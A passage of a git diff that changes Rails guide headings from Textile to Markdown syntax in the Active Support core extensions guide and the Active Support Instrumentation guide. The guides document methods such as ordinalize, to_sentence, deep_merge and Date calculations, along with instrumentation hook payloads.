Enables the use of time calculations and declarations, like @45.minutes <plus> 2.hours <plus> 4.years@.
@@ -1883,7 +1890,7 @@ date and time arithmetic.
NOTE: Defined in +active_support/core_ext/numeric/time.rb+.
-h4. Formatting
+### Formatting
Enables the formatting of numbers in a variety of ways.
@@ -1970,9 +1977,10 @@ Produce a string representation of a number in human-readable words:
NOTE: Defined in +active_support/core_ext/numeric/formatting.rb+.
-h3. Extensions to +Integer+
+Extensions to +Integer+
+-----------------------
-h4. +multiple_of?+
+### +multiple_of?+
The method +multiple_of?+ tests whether an integer is multiple of the argument:
@@ -1983,7 +1991,7 @@ The method +multiple_of?+ tests whether an integer is multiple of the argument:
NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
-h4. +ordinal+
+### +ordinal+
The method +ordinal+ returns the ordinal suffix string corresponding to the receiver integer:
@@ -1998,7 +2006,7 @@ The method +ordinal+ returns the ordinal suffix string corresponding to the rece
NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
-h4. +ordinalize+
+### +ordinalize+
The method +ordinalize+ returns the ordinal string corresponding to the receiver integer. In comparison, note that the +ordinal+ method returns *only* the suffix string.
@@ -2013,13 +2021,15 @@ The method +ordinalize+ returns the ordinal string corresponding to the receiver
NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
-h3. Extensions to +BigDecimal+
+Extensions to +BigDecimal+
+--------------------------
...
-h3. Extensions to +Enumerable+
+Extensions to +Enumerable+
+--------------------------
-h4. +sum+
+### +sum+
The method +sum+ adds the elements of an enumerable:
@@ -2066,7 +2076,7 @@ end
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-h4. +index_by+
+### +index_by+
The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
@@ -2081,7 +2091,7 @@ WARNING. Keys should normally be unique. If the block returns the same value for
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-h4. +many?+
+### +many?+
The method +many?+ is shorthand for +collection.size > 1+:
@@ -2099,7 +2109,7 @@ If an optional block is given, +many?+ only takes into account those elements th
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-h4. +exclude?+
+### +exclude?+
The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
@@ -2109,9 +2119,10 @@ to_visit << node if visited.exclude?(node)
NOTE: Defined in +active_support/core_ext/enumerable.rb+.
-h3. Extensions to +Array+
+Extensions to +Array+
+---------------------
-h4. Accessing
+### Accessing
Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
@@ -2137,9 +2148,9 @@ The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding el
NOTE: Defined in +active_support/core_ext/array/access.rb+.
-h4. Adding Elements
+### Adding Elements
-h5. +prepend+
+#### +prepend+
This method is an alias of <tt>Array#unshift</tt>.
@@ -2150,7 +2161,7 @@ This method is an alias of <tt>Array#unshift</tt>.
NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-h5. +append+
+#### +append+
This method is an alias of <tt>Array#<<</tt>.
@@ -2161,7 +2172,7 @@ This method is an alias of <tt>Array#<<</tt>.
NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
-h4. Options Extraction
+### Options Extraction
When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
@@ -2189,9 +2200,9 @@ This method receives an arbitrary number of action names, and an optional hash o
NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
-h4(#array-conversions). Conversions
+### Conversions
-h5. +to_sentence+
+#### +to_sentence+
The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
@@ -2219,7 +2230,7 @@ Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-h5. +to_formatted_s+
+#### +to_formatted_s+
The method +to_formatted_s+ acts like +to_s+ by default.
@@ -2235,7 +2246,7 @@ Integers in the example above are supposed to come from the respective calls to
NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-h5. +to_xml+
+#### +to_xml+
The method +to_xml+ returns a string containing an XML representation of its receiver:
@@ -2336,7 +2347,7 @@ Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-h4. Wrapping
+### Wrapping
The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like).
@@ -2377,7 +2388,7 @@ Thus, in this case the behavior is different for +nil+, and the differences with
NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
-h4. Duplicating
+### Duplicating
The method +Array.deep_dup+ duplicates itself and all objects inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Array#map+ with sending +deep_dup+ method to each object inside.
@@ -2390,9 +2401,9 @@ array[1][2] == nil # => true
NOTE: Defined in +active_support/core_ext/array/deep_dup.rb+.
-h4. Grouping
+### Grouping
-h5. +in_groups_of(number, fill_with = nil)+
+#### +in_groups_of(number, fill_with = nil)+
The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
@@ -2428,7 +2439,7 @@ As a consequence +false+ can't be a used as a padding value.
NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-h5. +in_groups(number, fill_with = nil)+
+#### +in_groups(number, fill_with = nil)+
The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
@@ -2466,7 +2477,7 @@ As a consequence +false+ can't be a used as a padding value.
NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-h5. +split(value = nil)+
+#### +split(value = nil)+
The method +split+ divides an array by a separator and returns the resulting chunks.
@@ -2488,11 +2499,12 @@ TIP: Observe in the previous example that consecutive separators result in empty
NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-h3. Extensions to +Hash+
+Extensions to +Hash+
+--------------------
-h4(#hash-conversions). Conversions
+### Conversions
-h5(#hash-to-xml). +to_xml+
+#### +to_xml+
The method +to_xml+ returns a string containing an XML representation of its receiver:
@@ -2539,7 +2551,7 @@ The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You
NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
-h4. Merging
+### Merging
Ruby has a built-in method +Hash#merge+ that merges two hashes:
@@ -2550,7 +2562,7 @@ Ruby has a built-in method +Hash#merge+ that merges two hashes:
Active Support defines a few more ways of merging hashes that may be convenient.
-h5. +reverse_merge+ and +reverse_merge!+
+#### +reverse_merge+ and +reverse_merge!+
In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
@@ -2574,7 +2586,7 @@ WARNING. Take into account that +reverse_merge!+ may change the hash in the call
NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-h5. +reverse_update+
+#### +reverse_update+
The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
@@ -2582,7 +2594,7 @@ WARNING. Note that +reverse_update+ has no bang.
NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-h5. +deep_merge+ and +deep_merge!+
+#### +deep_merge+ and +deep_merge!+
As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
@@ -2597,7 +2609,7 @@ The method +deep_merge!+ performs a deep merge in place.
NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
-h4. Deep duplicating
+### Deep duplicating
The method +Hash.deep_dup+ duplicates itself and all keys and values inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Enumerator#each_with_object+ with sending +deep_dup+ method to each pair inside.
@@ -2614,7 +2626,7 @@ hash[:b][:d] == [3, 4] # => true
NOTE: Defined in +active_support/core_ext/hash/deep_dup.rb+.
-h4. Diffing
+### Diffing
The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
@@ -2652,9 +2664,9 @@ Diffing hashes may be useful for error messages related to expected option hashe
NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
-h4. Working with Keys
+### Working with Keys
-h5. +except+ and +except!+
+#### +except+ and +except!+
The method +except+ returns a hash with the keys in the argument list removed, if present:
@@ -2680,7 +2692,7 @@ There's also the bang variant +except!+ that removes keys in the very receiver.
NOTE: Defined in +active_support/core_ext/hash/except.rb+.
-h5. +transform_keys+ and +transform_keys!+
+#### +transform_keys+ and +transform_keys!+
The method +transform_keys+ accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
@@ -2719,7 +2731,7 @@ Besides that, one can use +deep_transform_keys+ and +deep_transform_keys!+ to pe
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-h5. +stringify_keys+ and +stringify_keys!+
+#### +stringify_keys+ and +stringify_keys!+
The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
@@ -2758,7 +2770,7 @@ Besides that, one can use +deep_stringify_keys+ and +deep_stringify_keys!+ to st
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-h5. +symbolize_keys+ and +symbolize_keys!+
+#### +symbolize_keys+ and +symbolize_keys!+
The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
@@ -2799,13 +2811,13 @@ Besides that, one can use +deep_symbolize_keys+ and +deep_symbolize_keys!+ to sy
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-h5. +to_options+ and +to_options!+
+#### +to_options+ and +to_options!+
The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-h5. +assert_valid_keys+
+#### +assert_valid_keys+
The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
@@ -2818,7 +2830,7 @@ Active Record does not accept unknown options when building associations, for ex
NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-h4. Slicing
+### Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
@@ -2849,7 +2861,7 @@ hash # => {:a => 1}
NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-h4. Extracting
+### Extracting
The method +extract!+ removes and returns the key/value pairs matching the given keys.
@@ -2861,7 +2873,7 @@ hash # => {:b => 2}
NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-h4. Indifferent Access
+### Indifferent Access
The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
@@ -2871,9 +2883,10 @@ The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndiffer
NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
-h3. Extensions to +Regexp+
+Extensions to +Regexp+
+----------------------
-h4. +multiline?+
+### +multiline?+
The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
@@ -2899,9 +2912,10 @@ end
NOTE: Defined in +active_support/core_ext/regexp.rb+.
-h3. Extensions to +Range+
+Extensions to +Range+
+---------------------
-h4. +to_s+
+### +to_s+
Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
@@ -2917,7 +2931,7 @@ As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That
NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
-h4. +include?+
+### +include?+
The methods +Range#include?+ and +Range#===+ say whether some value falls between the ends of a given instance:
@@ -2941,7 +2955,7 @@ Active Support extends these methods so that the argument may be another range i
NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
-h4. +overlaps?+
+### +overlaps?+
The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
@@ -2953,9 +2967,10 @@ The method +Range#overlaps?+ says whether any two given ranges have non-void int
NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
-h3. Extensions to +Proc+
+Extensions to +Proc+
+--------------------
-h4. +bind+
+### +bind+
As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
@@ -2999,23 +3014,24 @@ end
NOTE: Defined in +active_support/core_ext/proc.rb+.
-h3. Extensions to +Date+
+Extensions to +Date+
+--------------------
-h4. Calculations
+### Calculations
NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+.
INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior.
-h5. +Date.current+
+#### +Date.current+
Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+.
When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+.
-h5. Named dates
+#### Named dates
-h6. +prev_year+, +next_year+
+##### +prev_year+, +next_year+
In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
@@ -3035,7 +3051,7 @@ d.next_year # => Wed, 28 Feb 2001
+prev_year+ is aliased to +last_year+.
-h6. +prev_month+, +next_month+
+##### +prev_month+, +next_month+
In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
@@ -3056,7 +3072,7 @@ Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+prev_month+ is aliased to +last_month+.
-h6. +prev_quarter+, +next_quarter+
+##### +prev_quarter+, +next_quarter+
Same as +prev_month+ and +next_month+. It returns the date with the same day in the previous or next quarter:
@@ -3077,7 +3093,7 @@ Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+prev_quarter+ is aliased to +last_quarter+.
-h6. +beginning_of_week+, +end_of_week+
+##### +beginning_of_week+, +end_of_week+
The methods +beginning_of_week+ and +end_of_week+ return the dates for the
beginning and end of the week, respectively. Weeks are assumed to start on
@@ -3093,7 +3109,7 @@ d.end_of_week(:sunday) # => Sat, 08 May 2010
+beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+.
-h6. +monday+, +sunday+
+##### +monday+, +sunday+
The methods +monday+ and +sunday+ return the dates for the beginning and
end of the week, respectively. Weeks are assumed to start on Monday.
@@ -3104,7 +3120,7 @@ d.monday # => Mon, 03 May 2010
d.sunday # => Sun, 09 May 2010
```
-h6. +prev_week+, +next_week+
+##### +prev_week+, +next_week+
The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
@@ -3124,7 +3140,7 @@ d.prev_week(:friday) # => Fri, 30 Apr 2010
+prev_week+ is aliased to +last_week+.
-h6. +beginning_of_month+, +end_of_month+
+##### +beginning_of_month+, +end_of_month+
The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
@@ -3136,7 +3152,7 @@ d.end_of_month # => Mon, 31 May 2010
+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
-h6. +beginning_of_quarter+, +end_of_quarter+
+##### +beginning_of_quarter+, +end_of_quarter+
The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
@@ -3148,7 +3164,7 @@ d.end_of_quarter # => Wed, 30 Jun 2010
+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
-h6. +beginning_of_year+, +end_of_year+
+##### +beginning_of_year+, +end_of_year+
The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
@@ -3160,9 +3176,9 @@ d.end_of_year # => Fri, 31 Dec 2010
+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
-h5. Other Date Computations
+#### Other Date Computations
-h6. +years_ago+, +years_since+
+##### +years_ago+, +years_since+
The method +years_ago+ receives a number of years and returns the same date those many years ago:
@@ -3185,7 +3201,7 @@ Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
```
-h6. +months_ago+, +months_since+
+##### +months_ago+, +months_since+
The methods +months_ago+ and +months_since+ work analogously for months:
@@ -3201,7 +3217,7 @@ Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
```
-h6. +weeks_ago+
+##### +weeks_ago+
The method +weeks_ago+ works analogously for weeks:
@@ -3210,7 +3226,7 @@ Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
```
-h6. +advance+
+##### +advance+
The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
@@ -3238,7 +3254,7 @@ Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
# => Thu, 01 Apr 2010
```
-h5. Changing Components
+#### Changing Components
The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
@@ -3254,7 +3270,7 @@ Date.new(2010, 1, 31).change(:month => 2)
# => ArgumentError: invalid date
```
-h5(#date-durations). Durations
+#### Durations
Durations can be added to and subtracted from dates:
@@ -3274,11 +3290,11 @@ Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
```
-h5. Timestamps
+#### Timestamps
INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone.
-h6. +beginning_of_day+, +end_of_day+
+##### +beginning_of_day+, +end_of_day+
The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
@@ -3296,7 +3312,7 @@ date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
-h6. +beginning_of_hour+, +end_of_hour+
+##### +beginning_of_hour+, +end_of_hour+
The method +beginning_of_hour+ returns a timestamp at the beginning of the hour (hh:00:00):
@@ -3316,7 +3332,7 @@ date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
INFO: +beginning_of_hour+ and +end_of_hour+ are implemented for +Time+ and +DateTime+ but *not* +Date+ as it does not make sense to request the beginning or end of an hour on a +Date+ instance.
-h6. +ago+, +since+
+##### +ago+, +since+
The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
@@ -3332,15 +3348,16 @@ date = Date.current # => Fri, 11 Jun 2010
date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
```
-h5. Other Time Computations
+#### Other Time Computations
-h4(#date-conversions). Conversions
+### Conversions
-h3. Extensions to +DateTime+
+Extensions to +DateTime+
+------------------------
WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day.
-h4(#calculations-datetime). Calculations
+### Calculations
NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+.
@@ -3390,15 +3407,15 @@ beginning_of_hour (at_beginning_of_hour)
end_of_hour
```
-h5. Named Datetimes
+#### Named Datetimes
-h6. +DateTime.current+
+##### +DateTime.current+
Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+.
-h5. Other Extensions
+#### Other Extensions
-h6. +seconds_since_midnight+
+##### +seconds_since_midnight+
The method +seconds_since_midnight+ returns the number of seconds since midnight:
@@ -3407,7 +3424,7 @@ now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
```
-h6(#utc-datetime). +utc+
+##### +utc+
The method +utc+ gives you the same datetime in the receiver expressed in UTC.
@@ -3418,7 +3435,7 @@ now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
This method is also aliased as +getutc+.
-h6. +utc?+
+##### +utc?+
The predicate +utc?+ says whether the receiver has UTC as its time zone:
@@ -3428,7 +3445,7 @@ now.utc? # => false
now.utc.utc? # => true
```
-h6(#datetime-advance). +advance+
+##### +advance+
The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
@@ -3459,7 +3476,7 @@ d.advance(:seconds => 1).advance(:months => 1)
WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
-h5(#datetime-changing-components). Changing Components
+#### Changing Components
The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
@@ -3491,7 +3508,7 @@ DateTime.current.change(:month => 2, :day => 30)
# => ArgumentError: invalid date
```
-h5(#datetime-durations). Durations
+#### Durations
Durations can be added to and subtracted from datetimes:
@@ -3511,9 +3528,10 @@ DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
```
-h3. Extensions to +Time+
+Extensions to +Time+
+--------------------
-h4(#time-calculations). Calculations
+### Calculations
NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+.
@@ -3575,13 +3593,13 @@ t.advance(:seconds => 1)
* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
-h5. +Time.current+
+#### +Time.current+
Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+.
When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+.
-h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
+#### +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
The method +all_day+ returns a range representing the whole day of the current time.
@@ -3607,7 +3625,7 @@ now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
```
-h4. Time Constructors
+### Time Constructors
Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
@@ -3642,7 +3660,7 @@ Both +local_time+ and +utc_time+ accept up to seven positional arguments: year,
If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead.
-h5(#time-durations). Durations
+#### Durations
Durations can be added to and subtracted from time objects:
@@ -3662,9 +3680,10 @@ Time.utc_time(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
```
-h3. Extensions to +File+
+Extensions to +File+
+--------------------
-h4. +atomic_write+
+### +atomic_write+
With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
@@ -3686,9 +3705,10 @@ The auxiliary file is written in a standard directory for temporary files, but y
NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
-h3. Extensions to +Logger+
+Extensions to +Logger+
+----------------------
-h4. +around_[level]+
+### +around_[level]+
Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
@@ -3697,7 +3717,7 @@ logger = Logger.new("log/development.log")
logger.around_info("before", "after") { |logger| logger.info("during") }
```
-h4. +silence+
+### +silence+
Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
@@ -3709,7 +3729,7 @@ logger.silence(Logger::INFO) do
end
```
-h4. +datetime_format=+
+### +datetime_format=+
Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
@@ -3729,7 +3749,8 @@ logger.info("<- is the current time")
NOTE: Defined in +active_support/core_ext/logger.rb+.
-h3. Extensions to +NameError+
+Extensions to +NameError+
+-------------------------
Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
@@ -3753,7 +3774,8 @@ end
NOTE: Defined in +active_support/core_ext/name_error.rb+.
-h3. Extensions to +LoadError+
+Extensions to +LoadError+
+-------------------------
Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index 826f24bbe7..1bd3daa46a 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -1,4 +1,5 @@
-h2. Active Support Instrumentation
+Active Support Instrumentation
+==============================
Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
@@ -9,9 +10,10 @@ In this guide, you will learn how to use the instrumentation API inside of Activ
* Adding a subscriber to a hook
* Building a custom instrumentation implementation
-endprologue.
+--------------------------------------------------------------------------------
-h3. Introduction to instrumentation
+Introduction to instrumentation
+-------------------------------
The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
@@ -19,13 +21,15 @@ For example, there is a hook provided within Active Record that is called every
You are even able to create your own events inside your application which you can later subscribe to.
-h3. Rails framework hooks
+Rails framework hooks
+---------------------
Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
-h3. ActionController
+ActionController
+----------------
-h4. write_fragment.action_controller
+### write_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
@@ -36,7 +40,7 @@ h4. write_fragment.action_controller
}
```
-h4. read_fragment.action_controller
+### read_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
@@ -47,7 +51,7 @@ h4. read_fragment.action_controller
}
```
-h4. expire_fragment.action_controller
+### expire_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
@@ -58,7 +62,7 @@ h4. expire_fragment.action_controller
}
```
-h4. exist_fragment?.action_controller
+### exist_fragment?.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
@@ -69,7 +73,7 @@ h4. exist_fragment?.action_controller
}
```
-h4. write_page.action_controller
+### write_page.action_controller
|_.Key |_.Value|
|+:path+ |The complete path|
@@ -80,7 +84,7 @@ h4. write_page.action_controller
}
```
-h4. expire_page.action_controller
+### expire_page.action_controller
|_.Key |_.Value|
|+:path+ |The complete path|
@@ -91,7 +95,7 @@ h4. expire_page.action_controller
}
```
-h4. start_processing.action_controller
+### start_processing.action_controller
|_.Key |_.Value |
|+:controller+ |The controller name|
@@ -112,7 +116,7 @@ h4. start_processing.action_controller
}
```
-h4. process_action.action_controller
+### process_action.action_controller
|_.Key |_.Value |
|+:controller+ |The controller name|
@@ -137,18 +141,18 @@ h4. process_action.action_controller
}
```
-h4. send_file.action_controller
+### send_file.action_controller
|_.Key |_.Value |
|+:path+ |Complete path to the file|
INFO. Additional keys may be added by the caller.
-h4. send_data.action_controller
+### send_data.action_controller
+ActionController+ does not had any specific information to the payload. All options are passed through to the payload.
-h4. redirect_to.action_controller
+### redirect_to.action_controller
|_.Key |_.Value |
|+:status+ |HTTP response code|
@@ -161,7 +165,7 @@ h4. redirect_to.action_controller
}
```
-h4. halted_callback.action_controller
+### halted_callback.action_controller
|_.Key |_.Value |
|+:filter+ |Filter that halted the action|
@@ -172,9 +176,10 @@ h4. halted_callback.action_controller
}
```
-h3. ActionView
+ActionView
+----------
-h4. render_template.action_view
+### render_template.action_view
|_.Key |_.Value |
|+:identifier+ |Full path to template|
@@ -187,7 +192,7 @@ h4. render_template.action_view
}
```
-h4. render_partial.action_view
+### render_partial.action_view
|_.Key |_.Value |
|+:identifier+ |Full path to template|
@@ -198,9 +203,10 @@ h4. render_partial.action_view
}
```
-h3. ActiveRecord
+ActiveRecord
+------------
-h4. sql.active_record
+### sql.active_record
|_.Key |_.Value |
|+:sql+ |SQL statement|
@@ -218,16 +224,17 @@ INFO. The adapters will add their own data as well.
}
```
-h4. identity.active_record
+### identity.active_record
|_.Key |_.Value |
|+:line+ |Primary Key of object in the identity map|
|+:name+ |Record's class|
|+:connection_id+ |+self.object_id+|
-h3. ActionMailer
+ActionMailer
+------------
-h4. receive.action_mailer
+### receive.action_mailer
|_.Key |_.Value|
|+:mailer+ |Name of the mailer class|
@@ -252,7 +259,7 @@ h4. receive.action_mailer
}
```
-h4. deliver.action_mailer
+### deliver.action_mailer
|_.Key |_.Value|
|+:mailer+ |Name of the mailer class|
@@ -277,25 +284,27 @@ h4. deliver.action_mailer
}
```
-h3. ActiveResource
+ActiveResource
+--------------
-h4. request.active_resource
+### request.active_resource
|_.Key |_.Value|
|+:method+ |HTTP method|
|+:request_uri+ |Complete URI|
|+:result+ |HTTP response object|
-h3. ActiveSupport
+ActiveSupport
+-------------
-h4. cache_read.active_support
+### cache_read.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
|+:hit+ |If this read is a hit|
|+:super_operation+ |:fetch is added when a read is used with +#fetch+|
-h4. cache_generate.active_support
+### cache_generate.active_support
This event is only used when +#fetch+ is called with a block.
@@ -311,7 +320,7 @@ INFO. Options passed to fetch will be merged with the payload when writing to th
```
-h4. cache_fetch_hit.active_support
+### cache_fetch_hit.active_support
This event is only used when +#fetch+ is called with a block.
@@ -326,7 +335,7 @@ INFO. Options passed to fetch will be merged with the payload.
}
```
-h4. cache_write.active_support
+### cache_write.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
